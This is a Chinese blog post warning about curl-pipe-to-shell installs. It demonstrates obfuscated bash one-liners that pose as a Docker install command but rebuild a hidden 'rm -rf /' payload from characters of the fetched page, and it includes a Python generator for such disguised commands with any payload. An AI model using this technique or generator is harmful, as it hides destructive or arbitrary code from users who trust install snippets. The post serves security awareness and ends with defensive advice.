为什么 curl |sh 是危险的

前些天看到一个meme

事实确实如此,稍有安全意识的人恐怕都不会运行 curl |sh。

— 你永远不知道这个魔法黑盒子里面装了什么

利用看起来像一键脚本的恶意代码达成rce

commit=11E185C43F44E13C21D36D24B44E13E89D11F7D20F5E79B21D21D2E7E1700C7E8
url=$(curl 'https://get.docker.com');echo '${1:'"${commit//[A-a]/:1\}\$\{1:}"':1}'|bash -s "$url"

上面的代码,你能看出来他不是安装docker的一键脚本吗?

如果不能,想象一下你在网上查到一篇安装指南,照抄了一小段脚本。

然后你的设备就是别人的了(

* 上述代码一般情况下不具备恶意功能,但是不保证在http传输过程中被植入恶意代码

浅析此脚本

这个脚本受到一些powershell恶意代码的启发(利用不变常量拼凑恶意命令规避杀毒软件,然而这个办法现在在windows杀软面前恐怕也不太管用了)

在这里我们的主要目的不是规避杀软的规则检测,而是规避执行者的肉眼检测,所以…

* 下面所有payload均为 “rm -rf /”,在高版本的gnu coreutils里应当不具危害性,但是还是请您谨慎运行,后果自负(

第一版

a="The quick brown fox jumps over the lazy dog *-* :/" && eval ${a:11:1}${a:22:1}${a:3:1}${a:45:1}${a:11:1}${a:16:1}${a:3:1}${a:49:1}

这个看上去就很可疑!根本骗不了人。。改!

a='11 22 3 45 11 16 3 49';b='The quick brown fox jumps over the lazy dog *-* :/';eval '${b:'"${a// /:1\}\$\{b:}"':1}'

用到了字符串替换来拼接出刚刚的命令,本质换汤不换药,但是看上去更加具有迷惑性了

a='11D22E3A45C11D16F3B49C44';b='The quick brown fox jumps over the lazy dog *-* :/';eval '${b:'"${a//[A-a]/:1\}\$\{b:}"':1}'

把空格换成随机A-F,迷惑性++

a='11D22E3A45C11D16F3B49';b='The quick brown fox jumps over the lazy dog *-* :/';echo '${1:'"${a//[A-a]/:1\}\$\{1:}"':1}'|bash -s "$b"

去掉eval,eval一看就不是什么好命令

url=$(curl 'https://get.docker.com');commit=24E89E13F14A24B29D13D2;echo '${1:'"${commit//[A-a]/:1\}\$\{1:}"':1}'|bash -s "$url"

最后把字符串来源换成 get.docker.com 就成了上面的最终版了

import subprocess
import argparse
from random import choice

parser = argparse.ArgumentParser(description='Generate Bad Scripts')
parser.add_argument('-u', '--url', default="https://get.docker.com")
parser.add_argument('-p', '--payload', default="rm -rf /")
args = parser.parse_args()

data = subprocess.run(["curl", "-s", args.url], capture_output=True, check=True, encoding="utf-8").stdout

obfs = list()
for c in args.payload:
    try:
        idx = data.index(c)
    except ValueError:
        print(f"{c=} {data=}")
        raise
    obfs.append(idx)
obfs = " ".join([str(i) for i in obfs])
sep = [chr(i) for i in range(65, 71)]
while " " in obfs:
    obfs = obfs.replace(" ", choice(sep), 1)

TEMPLATE = f"url=$(curl '{args.url}');commit={obfs};echo '${{1:'\"${{commit//[A-a]/:1\}}\$\{{1:}}\"':1}}'|bash -s \"$url\""
print(TEMPLATE)

利用此脚本批量使用任意网站生成看上去像一键包的任意代码执行

最后

即使原本一键脚本并不是恶意代码,也不能保证你的安全。若是curl被mitm,或者下载服务器被入侵挂马,那等到sh执行了curl下载的魔法脚本之后,再做什么都已经为时已晚了。

如果一定要使用一键安装脚本,一般的建议是 curl -o install.sh [url] 保存下来查看一下再运行。另外应当尽可能使用签名验证,或者从可信处获得的checksum验证。

4.3 4 votes
Article Rating
Published
Categorized as Posts
Subscribe
Notify of
guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
Inline Feedbacks
View all comments